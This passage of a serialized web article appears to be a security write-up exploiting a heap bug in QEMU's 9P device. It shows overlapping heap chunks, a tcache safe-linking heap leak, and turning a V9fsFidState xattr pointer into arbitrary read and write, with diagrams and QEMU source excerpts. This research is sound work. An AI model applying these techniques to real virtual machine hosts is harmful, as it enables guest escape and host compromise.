",{"type":22,"tag":114,"props":130795,"children":130797},{"className":130796},[],[130798],{"type":28,"value":129425},{"type":28,"value":213},{"type":22,"tag":107,"props":130801,"children":130803},{"code":130802},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[130804],{"type":22,"tag":114,"props":130805,"children":130806},{"__ignoreMap":7},[130807],{"type":28,"value":130802},{"type":22,"tag":31,"props":130809,"children":130810},{},[130811,130813,130818],{"type":28,"value":130812},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":22,"tag":114,"props":130814,"children":130816},{"className":130815},[],[130817],{"type":28,"value":129425},{"type":28,"value":22702},{"type":22,"tag":107,"props":130820,"children":130822},{"code":130821},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[130823],{"type":22,"tag":114,"props":130824,"children":130825},{"__ignoreMap":7},[130826],{"type":28,"value":130821},{"type":22,"tag":31,"props":130828,"children":130829},{},[130830,130832,130838],{"type":28,"value":130831},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":22,"tag":114,"props":130833,"children":130835},{"className":130834},[],[130836],{"type":28,"value":130837},"0x400",{"type":28,"value":130839}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":22,"tag":107,"props":130841,"children":130843},{"code":130842},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130844],{"type":22,"tag":114,"props":130845,"children":130846},{"__ignoreMap":7},[130847],{"type":28,"value":130842},{"type":22,"tag":1289,"props":130849,"children":130851},{"id":130850},"leaking-a-heap-address",[130852],{"type":28,"value":130853},"Leaking a Heap Address",{"type":22,"tag":31,"props":130855,"children":130856},{},[130857],{"type":28,"value":130858},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":22,"tag":31,"props":130860,"children":130861},{},[130862,130864,130870],{"type":28,"value":130863},"To do this, we abuse the forward (",{"type":22,"tag":114,"props":130865,"children":130867},{"className":130866},[],[130868],{"type":28,"value":130869},"fd",{"type":28,"value":130871},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":22,"tag":107,"props":130873,"children":130875},{"code":130874},"fd = next ^ (curr >> 12)\n",[130876],{"type":22,"tag":114,"props":130877,"children":130878},{"__ignoreMap":7},[130879],{"type":28,"value":130874},{"type":22,"tag":31,"props":130881,"children":130882},{},[130883,130885,130890,130891,130896],{"type":28,"value":130884},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":22,"tag":114,"props":130886,"children":130888},{"className":130887},[],[130889],{"type":28,"value":59506},{"type":28,"value":7511},{"type":22,"tag":114,"props":130892,"children":130894},{"className":130893},[],[130895],{"type":28,"value":56437},{"type":28,"value":130897}," because there is no following entry. In that case, the encoding becomes:",{"type":22,"tag":107,"props":130899,"children":130901},{"code":130900},"fd = 0 ^ (curr >> 12)\n",[130902],{"type":22,"tag":114,"props":130903,"children":130904},{"__ignoreMap":7},[130905],{"type":28,"value":130900},{"type":22,"tag":31,"props":130907,"children":130908},{},[130909,130911,130916],{"type":28,"value":130910},"So if we free a single chunk into an empty tcache bin, its ",{"type":22,"tag":114,"props":130912,"children":130914},{"className":130913},[],[130915],{"type":28,"value":130869},{"type":28,"value":130917}," field is effectively just the chunk address shifted right by 12.",{"type":22,"tag":31,"props":130919,"children":130920},{},[130921],{"type":28,"value":130922},"In the overlap we achieved earlier:",{"type":22,"tag":107,"props":130924,"children":130926},{"code":130925},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[130927],{"type":22,"tag":114,"props":130928,"children":130929},{"__ignoreMap":7},[130930],{"type":28,"value":130925},{"type":22,"tag":31,"props":130932,"children":130933},{},[130934,130936,130942,130944,130950,130952,130958,130960,130965],{"type":28,"value":130935},"We first free ",{"type":22,"tag":114,"props":130937,"children":130939},{"className":130938},[],[130940],{"type":28,"value":130941},".value C",{"type":28,"value":130943}," into tcache and read its contents through the oversized ",{"type":22,"tag":114,"props":130945,"children":130947},{"className":130946},[],[130948],{"type":28,"value":130949},".value Y",{"type":28,"value":130951},". This gives us ",{"type":22,"tag":114,"props":130953,"children":130955},{"className":130954},[],[130956],{"type":28,"value":130957},".value C >> 12",{"type":28,"value":130959},". That is not yet the exact address of ",{"type":22,"tag":114,"props":130961,"children":130963},{"className":130962},[],[130964],{"type":28,"value":130941},{"type":28,"value":130966},", since the lower 12 bits are lost.",{"type":22,"tag":31,"props":130968,"children":130969},{},[130970,130972,130977,130979,130984,130986,130991,130993,130998],{"type":28,"value":130971},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":22,"tag":114,"props":130973,"children":130975},{"className":130974},[],[130976],{"type":28,"value":130941},{"type":28,"value":130978},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":22,"tag":114,"props":130980,"children":130982},{"className":130981},[],[130983],{"type":28,"value":130941},{"type":28,"value":130985}," again. This time, ",{"type":22,"tag":114,"props":130987,"children":130989},{"className":130988},[],[130990],{"type":28,"value":59506},{"type":28,"value":130992}," is no longer ",{"type":22,"tag":114,"props":130994,"children":130996},{"className":130995},[],[130997],{"type":28,"value":56437},{"type":28,"value":130999},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":22,"tag":107,"props":131001,"children":131002},{"code":130874},[131003],{"type":22,"tag":114,"props":131004,"children":131005},{"__ignoreMap":7},[131006],{"type":28,"value":130874},{"type":22,"tag":31,"props":131008,"children":131009},{},[131010,131012,131018,131020,131025,131027,131032,131034,131039],{"type":28,"value":131011},"Since we already know ",{"type":22,"tag":114,"props":131013,"children":131015},{"className":131014},[],[131016],{"type":28,"value":131017},"curr >> 12",{"type":28,"value":131019}," from the first leak, we can read the new ",{"type":22,"tag":114,"props":131021,"children":131023},{"className":131022},[],[131024],{"type":28,"value":130869},{"type":28,"value":131026}," value from ",{"type":22,"tag":114,"props":131028,"children":131030},{"className":131029},[],[131031],{"type":28,"value":130941},{"type":28,"value":131033}," and recover the exact address of ",{"type":22,"tag":114,"props":131035,"children":131037},{"className":131036},[],[131038],{"type":28,"value":59506},{"type":28,"value":131040}," by reversing the XOR:",{"type":22,"tag":107,"props":131042,"children":131044},{"code":131043},"next = fd ^ (curr >> 12)\n",[131045],{"type":22,"tag":114,"props":131046,"children":131047},{"__ignoreMap":7},[131048],{"type":28,"value":131043},{"type":22,"tag":31,"props":131050,"children":131051},{},[131052],{"type":28,"value":131053},"This gives us the exact address of a heap chunk whose contents we control.",{"type":22,"tag":1289,"props":131055,"children":131057},{"id":131056},"arbitrary-read-and-write",[131058],{"type":28,"value":131059},"Arbitrary Read and Write",{"type":22,"tag":31,"props":131061,"children":131062},{},[131063,131065,131070],{"type":28,"value":131064},"Having a controlled chunk at a known address lets us repurpose ",{"type":22,"tag":114,"props":131066,"children":131068},{"className":131067},[],[131069],{"type":28,"value":130941},{"type":28,"value":131071}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":22,"tag":31,"props":131073,"children":131074},{},[131075,131077,131082],{"type":28,"value":131076},"Recall ",{"type":22,"tag":114,"props":131078,"children":131080},{"className":131079},[],[131081],{"type":28,"value":129545},{"type":28,"value":213},{"type":22,"tag":107,"props":131084,"children":131086},{"code":131085,"language":5169,"meta":7,"className":18481,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[131087],{"type":22,"tag":114,"props":131088,"children":131089},{"__ignoreMap":7},[131090,131129,131136,131147,131162,131177,131184,131191,131198,131220,131227,131234,131241,131249,131266,131305,131348,131355],{"type":22,"tag":118,"props":131091,"children":131092},{"class":120,"line":121},[131093,131097,131101,131105,131109,131113,131117,131121,131125],{"type":22,"tag":118,"props":131094,"children":131095},{"style":146},[131096],{"type":28,"value":52985},{"type":22,"tag":118,"props":131098,"children":131099},{"style":146},[131100],{"type":28,"value":52990},{"type":22,"tag":118,"props":131102,"children":131103},{"style":125},[131104],{"type":28,"value":129540},{"type":22,"tag":118,"props":131106,"children":131107},{"style":532},[131108],{"type":28,"value":129545},{"type":22,"tag":118,"props":131110,"children":131111},{"style":125},[131112],{"type":28,"value":540},{"type":22,"tag":118,"props":131114,"children":131115},{"style":146},[131116],{"type":28,"value":53568},{"type":22,"tag":118,"props":131118,"children":131119},{"style":210},[131120],{"type":28,"value":11815},{"type":22,"tag":118,"props":131122,"children":131123},{"style":204},[131124],{"type":28,"value":129562},{"type":22,"tag":118,"props":131126,"children":131127},{"style":125},[131128],{"type":28,"value":3665},{"type":22,"tag":118,"props":131130,"children":131131},{"class":120,"line":142},[131132],{"type":22,"tag":118,"props":131133,"children":131134},{"style":125},[131135],{"type":28,"value":12879},{"type":22,"tag":118,"props":131137,"children":131138},{"class":120,"line":177},[131139,131143],{"type":22,"tag":118,"props":131140,"children":131141},{"style":146},[131142],{"type":28,"value":57553},{"type":22,"tag":118,"props":131144,"children":131145},{"style":125},[131146],{"type":28,"value":126198},{"type":22,"tag":118,"props":131148,"children":131149},{"class":120,"line":195},[131150,131154,131158],{"type":22,"tag":118,"props":131151,"children":131152},{"style":125},[131153],{"type":28,"value":129687},{"type":22,"tag":118,"props":131155,"children":131156},{"style":210},[131157],{"type":28,"value":671},{"type":22,"tag":118,"props":131159,"children":131160},{"style":125},[131161],{"type":28,"value":129696},{"type":22,"tag":118,"props":131163,"children":131164},{"class":120,"line":244},[131165,131169,131173],{"type":22,"tag":118,"props":131166,"children":131167},{"style":125},[131168],{"type":28,"value":129687},{"type":22,"tag":118,"props":131170,"children":131171},{"style":210},[131172],{"type":28,"value":671},{"type":22,"tag":118,"props":131174,"children":131175},{"style":125},[131176],{"type":28,"value":129712},{"type":22,"tag":118,"props":131178,"children":131179},{"class":120,"line":253},[131180],{"type":22,"tag":118,"props":131181,"children":131182},{"emptyLinePlaceholder":15},[131183],{"type":28,"value":250},{"type":22,"tag":118,"props":131185,"children":131186},{"class":120,"line":263},[131187],{"type":22,"tag":118,"props":131188,"children":131189},{"style":125},[131190],{"type":28,"value":106397},{"type":22,"tag":118,"props":131192,"children":131193},{"class":120,"line":318},[131194],{"type":22,"tag":118,"props":131195,"children":131196},{"emptyLinePlaceholder":15},[131197],{"type":28,"value":250},{"type":22,"tag":118,"props":131199,"children":131200},{"class":120,"line":351},[131201,131206,131210,131215],{"type":22,"tag":118,"props":131202,"children":131203},{"style":125},[131204],{"type":28,"value":131205},"    file_fidp ",{"type":22,"tag":118,"props":131207,"children":131208},{"style":210},[131209],{"type":28,"value":282},{"type":22,"tag":118,"props":131211,"children":131212},{"style":532},[131213],{"type":28,"value":131214}," get_fid",{"type":22,"tag":118,"props":131216,"children":131217},{"style":125},[131218],{"type":28,"value":131219},"(pdu, fid);\n",{"type":22,"tag":118,"props":131221,"children":131222},{"class":120,"line":359},[131223],{"type":22,"tag":118,"props":131224,"children":131225},{"emptyLinePlaceholder":15},[131226],{"type":28,"value":250},{"type":22,"tag":118,"props":131228,"children":131229},{"class":120,"line":368},[131230],{"type":22,"tag":118,"props":131231,"children":131232},{"style":125},[131233],{"type":28,"value":106397},{"type":22,"tag":118,"props":131235,"children":131236},{"class":120,"line":384},[131237],{"type":22,"tag":118,"props":131238,"children":131239},{"emptyLinePlaceholder":15},[131240],{"type":28,"value":250},{"type":22,"tag":118,"props":131242,"children":131243},{"class":120,"line":417},[131244],{"type":22,"tag":118,"props":131245,"children":131246},{"style":257},[131247],{"type":28,"value":131248},"    /* Make the file fid point to xattr */\n",{"type":22,"tag":118,"props":131250,"children":131251},{"class":120,"line":425},[131252,131257,131261],{"type":22,"tag":118,"props":131253,"children":131254},{"style":125},[131255],{"type":28,"value":131256},"    xattr_fidp ",{"type":22,"tag":118,"props":131258,"children":131259},{"style":210},[131260],{"type":28,"value":282},{"type":22,"tag":118,"props":131262,"children":131263},{"style":125},[131264],{"type":28,"value":131265}," file_fidp;\n",{"type":22,"tag":118,"props":131267,"children":131268},{"class":120,"line":441},[131269,131273,131277,131281,131285,131289,131293,131297,131301],{"type":22,"tag":118,"props":131270,"children":131271},{"style":204},[131272],{"type":28,"value":130090},{"type":22,"tag":118,"props":131274,"children":131275},{"style":125},[131276],{"type":28,"value":593},{"type":22,"tag":118,"props":131278,"children":131279},{"style":204},[131280],{"type":28,"value":38923},{"type":22,"tag":118,"props":131282,"children":131283},{"style":125},[131284],{"type":28,"value":292},{"type":22,"tag":118,"props":131286,"children":131287},{"style":204},[131288],{"type":28,"value":130014},{"type":22,"tag":118,"props":131290,"children":131291},{"style":125},[131292],{"type":28,"value":292},{"type":22,"tag":118,"props":131294,"children":131295},{"style":204},[131296],{"type":28,"value":11137},{"type":22,"tag":118,"props":131298,"children":131299},{"style":210},[131300],{"type":28,"value":837},{"type":22,"tag":118,"props":131302,"children":131303},{"style":125},[131304],{"type":28,"value":126198},{"type":22,"tag":118,"props":131306,"children":131307},{"class":120,"line":475},[131308,131312,131316,131320,131324,131328,131332,131336,131340,131344],{"type":22,"tag":118,"props":131309,"children":131310},{"style":204},[131311],{"type":28,"value":130090},{"type":22,"tag":118,"props":131313,"children":131314},{"style":125},[131315],{"type":28,"value":593},{"type":22,"tag":118,"props":131317,"children":131318},{"style":204},[131319],{"type":28,"value":38923},{"type":22,"tag":118,"props":131321,"children":131322},{"style":125},[131323],{"type":28,"value":292},{"type":22,"tag":118,"props":131325,"children":131326},{"style":204},[131327],{"type":28,"value":130014},{"type":22,"tag":118,"props":131329,"children":131330},{"style":125},[131331],{"type":28,"value":292},{"type":22,"tag":118,"props":131333,"children":131334},{"style":204},[131335],{"type":28,"value":41093},{"type":22,"tag":118,"props":131337,"children":131338},{"style":210},[131339],{"type":28,"value":837},{"type":22,"tag":118,"props":131341,"children":131342},{"style":532},[131343],{"type":28,"value":125769},{"type":22,"tag":118,"props":131345,"children":131346},{"style":125},[131347],{"type":28,"value":130127},{"type":22,"tag":118,"props":131349,"children":131350},{"class":120,"line":484},[131351],{"type":22,"tag":118,"props":131352,"children":131353},{"emptyLinePlaceholder":15},[131354],{"type":28,"value":250},{"type":22,"tag":118,"props":131356,"children":131357},{"class":120,"line":492},[131358],{"type":22,"tag":118,"props":131359,"children":131360},{"style":125},[131361],{"type":28,"value":106397},{"type":22,"tag":31,"props":131363,"children":131364},{},[131365,131367,131373,131375,131380,131381,131386,131388,131393,131395,131401,131402,131408,131410,131415,131416,131421],{"type":28,"value":131366},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":22,"tag":114,"props":131368,"children":131370},{"className":131369},[],[131371],{"type":28,"value":131372},"V9fsFidState",{"type":28,"value":131374}," object. In other words, if we can place a ",{"type":22,"tag":114,"props":131376,"children":131378},{"className":131377},[],[131379],{"type":28,"value":131372},{"type":28,"value":9328},{"type":22,"tag":114,"props":131382,"children":131384},{"className":131383},[],[131385],{"type":28,"value":130941},{"type":28,"value":131387}," currently sits, the overlapping ",{"type":22,"tag":114,"props":131389,"children":131391},{"className":131390},[],[131392],{"type":28,"value":130949},{"type":28,"value":131394}," chunk can overwrite ",{"type":22,"tag":114,"props":131396,"children":131398},{"className":131397},[],[131399],{"type":28,"value":131400},"V9fsFidState.fs.xattr.value",{"type":28,"value":12991},{"type":22,"tag":114,"props":131403,"children":131405},{"className":131404},[],[131406],{"type":28,"value":131407},"V9fsFidState.fs.xattr.len",{"type":28,"value":131409},". That would immediately give us arbitrary read and write through ",{"type":22,"tag":114,"props":131411,"children":131413},{"className":131412},[],[131414],{"type":28,"value":130203},{"type":28,"value":12991},{"type":22,"tag":114,"props":131417,"children":131419},{"className":131418},[],[131420],{"type":28,"value":130195},{"type":28,"value":292},{"type":22,"tag":31,"props":131423,"children":131424},{},[131425,131427,131432,131433,131438,131440,131445,131447,131453,131455,131460,131462,131467,131469,131474,131476,131481,131483,131488],{"type":28,"value":131426},"At this point, ",{"type":22,"tag":114,"props":131428,"children":131430},{"className":131429},[],[131431],{"type":28,"value":130941},{"type":28,"value":17418},{"type":22,"tag":114,"props":131434,"children":131436},{"className":131435},[],[131437],{"type":28,"value":129410},{"type":28,"value":131439}," chunk, while ",{"type":22,"tag":114,"props":131441,"children":131443},{"className":131442},[],[131444],{"type":28,"value":131372},{"type":28,"value":131446}," falls into the ",{"type":22,"tag":114,"props":131448,"children":131450},{"className":131449},[],[131451],{"type":28,"value":131452},"0x120",{"type":28,"value":131454}," size class. Before freeing ",{"type":22,"tag":114,"props":131456,"children":131458},{"className":131457},[],[131459],{"type":28,"value":130941},{"type":28,"value":131461},", we therefore use the oversized ",{"type":22,"tag":114,"props":131463,"children":131465},{"className":131464},[],[131466],{"type":28,"value":130949},{"type":28,"value":131468}," chunk to change its size to match ",{"type":22,"tag":114,"props":131470,"children":131472},{"className":131471},[],[131473],{"type":28,"value":131372},{"type":28,"value":131475},". Once ",{"type":22,"tag":114,"props":131477,"children":131479},{"className":131478},[],[131480],{"type":28,"value":130941},{"type":28,"value":131482}," is freed, it is inserted into the ",{"type":22,"tag":114,"props":131484,"children":131486},{"className":131485},[],[131487],{"type":28,"value":131452},{"type":28,"value":131489}," tcache bin.",{"type":22,"tag":107,"props":131491,"children":131493},{"code":131492},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[131494],{"type":22,"tag":114,"props":131495,"children":131496},{"__ignoreMap":7},[131497],{"type":28,"value":131492},{"type":22,"tag":31,"props":131499,"children":131500},{},[131501,131503,131508,131510,131516,131518,131524,131526,131531],{"type":28,"value":131502},"After that, we can simply allocate a new ",{"type":22,"tag":114,"props":131504,"children":131506},{"className":131505},[],[131507],{"type":28,"value":131372},{"type":28,"value":131509}," with a ",{"type":22,"tag":114,"props":131511,"children":131513},{"className":131512},[],[131514],{"type":28,"value":131515},"P9_TWALK",{"type":28,"value":131517}," request and a fresh FID - this reaches ",{"type":22,"tag":114,"props":131519,"children":131521},{"className":131520},[],[131522],{"type":28,"value":131523},"alloc_fid",{"type":28,"value":131525},", which allocates a new ",{"type":22,"tag":114,"props":131527,"children":131529},{"className":131528},[],[131530],{"type":28,"value":131372},{"type":28,"value":213},{"type":22,"tag":107,"props":131533,"children":131535},{"code":131534,"language":5169,"meta":7,"className":18481,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[131536],{"type":22,"tag":114,"props":131537,"children":131538},{"__ignoreMap":7},[131539,131579,131586,131602,131630,131637,131644,131651,131672,131679,131694,131716,131740,131761,131772,131779,131817,131859,131866,131873,131880,131887,131894,131945,131952,131967,131974,132022,132034,132042,132071,132086,132093,132122,132129],{"type":22,"tag":118,"props":131540,"children":131541},{"class":120,"line":121},[131542,131546,131550,131554,131559,131563,131567,131571,131575],{"type":22,"tag":118,"props":131543,"children":131544},{"style":146},[131545],{"type":28,"value":52985},{"type":22,"tag":118,"props":131547,"children":131548},{"style":146},[131549],{"type":28,"value":52990},{"type":22,"tag":118,"props":131551,"children":131552},{"style":125},[131553],{"type":28,"value":129540},{"type":22,"tag":118,"props":131555,"children":131556},{"style":532},[131557],{"type":28,"value":131558},"v9fs_walk",{"type":22,"tag":118,"props":131560,"children":131561},{"style":125},[131562],{"type":28,"value":540},{"type":22,"tag":118,"props":131564,"children":131565},{"style":146},[131566],{"type":28,"value":53568},{"type":22,"tag":118,"props":131568,"children":131569},{"style":210},[131570],{"type":28,"value":11815},{"type":22,"tag":118,"props":131572,"children":131573},{"style":204},[131574],{"type":28,"value":129562},{"type":22,"tag":118,"props":131576,"children":131577},{"style":125},[131578],{"type":28,"value":3665},{"type":22,"tag":118,"props":131580,"children":131581},{"class":120,"line":142},[131582],{"type":22,"tag":118,"props":131583,"children":131584},{"style":125},[131585],{"type":28,"value":12879},{"type":22,"tag":118,"props":131587,"children":131588},{"class":120,"line":177},[131589,131593,131597],{"type":22,"tag":118,"props":131590,"children":131591},{"style":125},[131592],{"type":28,"value":129687},{"type":22,"tag":118,"props":131594,"children":131595},{"style":210},[131596],{"type":28,"value":671},{"type":22,"tag":118,"props":131598,"children":131599},{"style":125},[131600],{"type":28,"value":131601},"fidp;\n",{"type":22,"tag":118,"props":131603,"children":131604},{"class":120,"line":195},[131605,131609,131613,131618,131622,131626],{"type":22,"tag":118,"props":131606,"children":131607},{"style":125},[131608],{"type":28,"value":129687},{"type":22,"tag":118,"props":131610,"children":131611},{"style":210},[131612],{"type":28,"value":671},{"type":22,"tag":118,"props":131614,"children":131615},{"style":125},[131616],{"type":28,"value":131617},"newfidp ",{"type":22,"tag":118,"props":131619,"children":131620},{"style":210},[131621],{"type":28,"value":282},{"type":22,"tag":118,"props":131623,"children":131624},{"style":146},[131625],{"type":28,"value":129366},{"type":22,"tag":118,"props":131627,"children":131628},{"style":125},[131629],{"type":28,"value":801},{"type":22,"tag":118,"props":131631,"children":131632},{"class":120,"line":244},[131633],{"type":22,"tag":118,"props":131634,"children":131635},{"emptyLinePlaceholder":15},[131636],{"type":28,"value":250},{"type":22,"tag":118,"props":131638,"children":131639},{"class":120,"line":253},[131640],{"type":22,"tag":118,"props":131641,"children":131642},{"style":125},[131643],{"type":28,"value":106397},{"type":22,"tag":118,"props":131645,"children":131646},{"class":120,"line":263},[131647],{"type":22,"tag":118,"props":131648,"children":131649},{"emptyLinePlaceholder":15},[131650],{"type":28,"value":250},{"type":22,"tag":118,"props":131652,"children":131653},{"class":120,"line":318},[131654,131658,131663,131667],{"type":22,"tag":118,"props":131655,"children":131656},{"style":1480},[131657],{"type":28,"value":2159},{"type":22,"tag":118,"props":131659,"children":131660},{"style":125},[131661],{"type":28,"value":131662}," (fid ",{"type":22,"tag":118,"props":131664,"children":131665},{"style":210},[131666],{"type":28,"value":302},{"type":22,"tag":118,"props":131668,"children":131669},{"style":125},[131670],{"type":28,"value":131671}," newfid) {\n",{"type":22,"tag":118,"props":131673,"children":131674},{"class":120,"line":351},[131675],{"type":22,"tag":118,"props":131676,"children":131677},{"style":125},[131678],{"type":28,"value":125635},{"type":22,"tag":118,"props":131680,"children":131681},{"class":120,"line":359},[131682,131686,131690],{"type":22,"tag":118,"props":131683,"children":131684},{"style":125},[131685],{"type":28,"value":17746},{"type":22,"tag":118,"props":131687,"children":131688},{"style":1480},[131689],{"type":28,"value":5335},{"type":22,"tag":118,"props":131691,"children":131692},{"style":125},[131693],{"type":28,"value":1474},{"type":22,"tag":118,"props":131695,"children":131696},{"class":120,"line":368},[131697,131702,131706,131711],{"type":22,"tag":118,"props":131698,"children":131699},{"style":125},[131700],{"type":28,"value":131701},"        newfidp ",{"type":22,"tag":118,"props":131703,"children":131704},{"style":210},[131705],{"type":28,"value":282},{"type":22,"tag":118,"props":131707,"children":131708},{"style":532},[131709],{"type":28,"value":131710}," alloc_fid",{"type":22,"tag":118,"props":131712,"children":131713},{"style":125},[131714],{"type":28,"value":131715},"(s, newfid);\n",{"type":22,"tag":118,"props":131717,"children":131718},{"class":120,"line":384},[131719,131723,131728,131732,131736],{"type":22,"tag":118,"props":131720,"children":131721},{"style":1480},[131722],{"type":28,"value":5293},{"type":22,"tag":118,"props":131724,"children":131725},{"style":125},[131726],{"type":28,"value":131727}," (newfidp ",{"type":22,"tag":118,"props":131729,"children":131730},{"style":210},[131731],{"type":28,"value":302},{"type":22,"tag":118,"props":131733,"children":131734},{"style":146},[131735],{"type":28,"value":129366},{"type":22,"tag":118,"props":131737,"children":131738},{"style":125},[131739],{"type":28,"value":16783},{"type":22,"tag":118,"props":131741,"children":131742},{"class":120,"line":417},[131743,131748,131752,131756],{"type":22,"tag":118,"props":131744,"children":131745},{"style":125},[131746],{"type":28,"value":131747},"            err ",{"type":22,"tag":118,"props":131749,"children":131750},{"style":210},[131751],{"type":28,"value":282},{"type":22,"tag":118,"props":131753,"children":131754},{"style":210},[131755],{"type":28,"value":53196},{"type":22,"tag":118,"props":131757,"children":131758},{"style":125},[131759],{"type":28,"value":131760},"EINVAL;\n",{"type":22,"tag":118,"props":131762,"children":131763},{"class":120,"line":425},[131764,131768],{"type":22,"tag":118,"props":131765,"children":131766},{"style":1480},[131767],{"type":28,"value":62490},{"type":22,"tag":118,"props":131769,"children":131770},{"style":125},[131771],{"type":28,"value":62495},{"type":22,"tag":118,"props":131773,"children":131774},{"class":120,"line":441},[131775],{"type":22,"tag":118,"props":131776,"children":131777},{"style":125},[131778],{"type":28,"value":1835},{"type":22,"tag":118,"props":131780,"children":131781},{"class":120,"line":475},[131782,131787,131791,131796,131800,131805,131809,131813],{"type":22,"tag":118,"props":131783,"children":131784},{"style":204},[131785],{"type":28,"value":131786},"        newfidp",{"type":22,"tag":118,"props":131788,"children":131789},{"style":125},[131790],{"type":28,"value":593},{"type":22,"tag":118,"props":131792,"children":131793},{"style":204},[131794],{"type":28,"value":131795},"uid",{"type":22,"tag":118,"props":131797,"children":131798},{"style":210},[131799],{"type":28,"value":837},{"type":22,"tag":118,"props":131801,"children":131802},{"style":204},[131803],{"type":28,"value":131804}," fidp",{"type":22,"tag":118,"props":131806,"children":131807},{"style":125},[131808],{"type":28,"value":593},{"type":22,"tag":118,"props":131810,"children":131811},{"style":204},[131812],{"type":28,"value":131795},{"type":22,"tag":118,"props":131814,"children":131815},{"style":125},[131816],{"type":28,"value":801},{"type":22,"tag":118,"props":131818,"children":131819},{"class":120,"line":484},[131820,131825,131829,131833,131838,131842,131846,131850,131854],{"type":22,"tag":118,"props":131821,"children":131822},{"style":532},[131823],{"type":28,"value":131824},"        v9fs_path_copy",{"type":22,"tag":118,"props":131826,"children":131827},{"style":125},[131828],{"type":28,"value":540},{"type":22,"tag":118,"props":131830,"children":131831},{"style":210},[131832],{"type":28,"value":1407},{"type":22,"tag":118,"props":131834,"children":131835},{"style":204},[131836],{"type":28,"value":131837},"newfidp",{"type":22,"tag":118,"props":131839,"children":131840},{"style":125},[131841],{"type":28,"value":593},{"type":22,"tag":118,"props":131843,"children":131844},{"style":204},[131845],{"type":28,"value":113920},{"type":22,"tag":118,"props":131847,"children":131848},{"style":125},[131849],{"type":28,"value":231},{"type":22,"tag":118,"props":131851,"children":131852},{"style":210},[131853],{"type":28,"value":1407},{"type":22,"tag":118,"props":131855,"children":131856},{"style":125},[131857],{"type":28,"value":131858},"path);\n",{"type":22,"tag":118,"props":131860,"children":131861},{"class":120,"line":492},[131862],{"type":22,"tag":118,"props":131863,"children":131864},{"style":125},[131865],{"type":28,"value":1254},{"type":22,"tag":118,"props":131867,"children":131868},{"class":120,"line":501},[131869],{"type":22,"tag":118,"props":131870,"children":131871},{"emptyLinePlaceholder":15},[131872],{"type":28,"value":250},{"type":22,"tag":118,"props":131874,"children":131875},{"class":120,"line":519},[131876],{"type":22,"tag":118,"props":131877,"children":131878},{"style":125},[131879],{"type":28,"value":106397},{"type":22,"tag":118,"props":131881,"children":131882},{"class":120,"line":606},[131883],{"type":22,"tag":118,"props":131884,"children":131885},{"style":125},[131886],{"type":28,"value":481},{"type":22,"tag":118,"props":131888,"children":131889},{"class":120,"line":615},[131890],{"type":22,"tag":118,"props":131891,"children":131892},{"emptyLinePlaceholder":15},[131893],{"type":28,"value":250},{"type":22,"tag":118,"props":131895,"children":131896},{"class":120,"line":685},[131897,131901,131906,131910,131914,131919,131923,131927,131931,131936,131941],{"type":22,"tag":118,"props":131898,"children":131899},{"style":146},[131900],{"type":28,"value":52985},{"type":22,"tag":118,"props":131902,"children":131903},{"style":125},[131904],{"type":28,"value":131905}," V9fsFidState 